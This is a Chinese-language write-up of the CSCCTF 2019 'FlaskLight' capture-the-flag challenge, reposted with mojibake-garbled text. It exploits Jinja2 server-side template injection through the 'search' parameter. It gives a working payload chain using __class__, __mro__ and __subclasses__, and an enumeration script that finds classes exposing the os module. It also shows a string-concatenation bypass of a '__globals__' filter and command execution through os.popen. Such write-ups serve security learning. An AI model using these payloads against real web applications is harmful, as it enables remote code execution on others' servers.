[CSCCTF 2019 Qual]FlaskLight SSTI注入
進(jìn)去后頁面提示你是flask框架,f12里面告訴你參數(shù)名字叫做search并且用GET方法傳輸,十有八九是模塊注入了,用7*7試試服務(wù)端模板注入攻擊 - 知乎?
可以發(fā)現(xiàn)在searched后面輸出了49,既然我們可以利用{{}},又有輸出點(diǎn),直接模板注入GOGOGO?
python-flask模塊注入(SSTI) - ctrl_TT豆 - 博客園因?yàn)椴惶?#xff0c;只能一步步來
''.__class__ //先隨便查看一個(gè)字符所屬的類是什么 ''.__class__.__mro__ //返回類的基類是什么,找到object這個(gè)主類 因?yàn)榉祷氐氖窃M類型的,我們可以用[n]來表示調(diào)用哪個(gè)類(這里假設(shè)object是第三個(gè)類) ''.__class__.__mro__[2].__subclasses__() 來查看所有可以引用的子類?
?
我們知道執(zhí)行命令的模塊是os,那么哪個(gè)類里面能調(diào)用os模塊呢,如果找到了,第幾個(gè)呢,這個(gè)時(shí)候我們?nèi)绻斯ひ粋€(gè)個(gè)去試的話那就很麻煩,利用腳本來查詢?__init__.__globals__
import requests import html import timefor i in range(0,300):time.sleep(0.06)url='http://9a83c16c-d62a-4040-825b-2ffa4954c5ad.node4.buuoj.cn:81/?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d].__init__["__glob"+"als__"]}}' %(i)r = requests.get(url)if "os" in html.unescape(r.text):print(i)這里構(gòu)造["__glob"+"als__"]這樣的原因是我直接寫__globals__會(huì)報(bào)錯(cuò),懷疑后端把這個(gè)敏感字符給過濾掉了,因此我們需要繞過
可以看到標(biāo)號這么多的類有os模塊,我們隨便利用一個(gè)就行,就用128吧?
發(fā)現(xiàn)一個(gè)目錄flasklight
?其中一個(gè)是源碼,一個(gè)是flag,我們可以看見源碼確實(shí)過濾了globals
相信很多人和我一樣都是用的system執(zhí)行命令,但是沒有任何回顯
python中os.popen, os.system()區(qū)別 - ccorz - 博客園
Python中os.system和os.popen區(qū)別 - 純黑色 - 博客園
那是因?yàn)閟ystem調(diào)用完shell腳本后,它返回的不是調(diào)用腳本的結(jié)果,而是一個(gè)信號代碼,他所出來的結(jié)果是在執(zhí)行的系統(tǒng)上,因此我們?nèi)绻胹ystem命令的話,我們反彈shell才能看見(我不會(huì))
popen執(zhí)行命令返回的是一個(gè)讀取文件的對象,用read()函數(shù)讀取就可以獲得我們想要的命令結(jié)果
總結(jié)
以上是生活随笔為你收集整理的[CSCCTF 2019 Qual]FlaskLight SSTI注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: efm8bb1 烧录器_EFM8BB1L
- 下一篇: liferay入门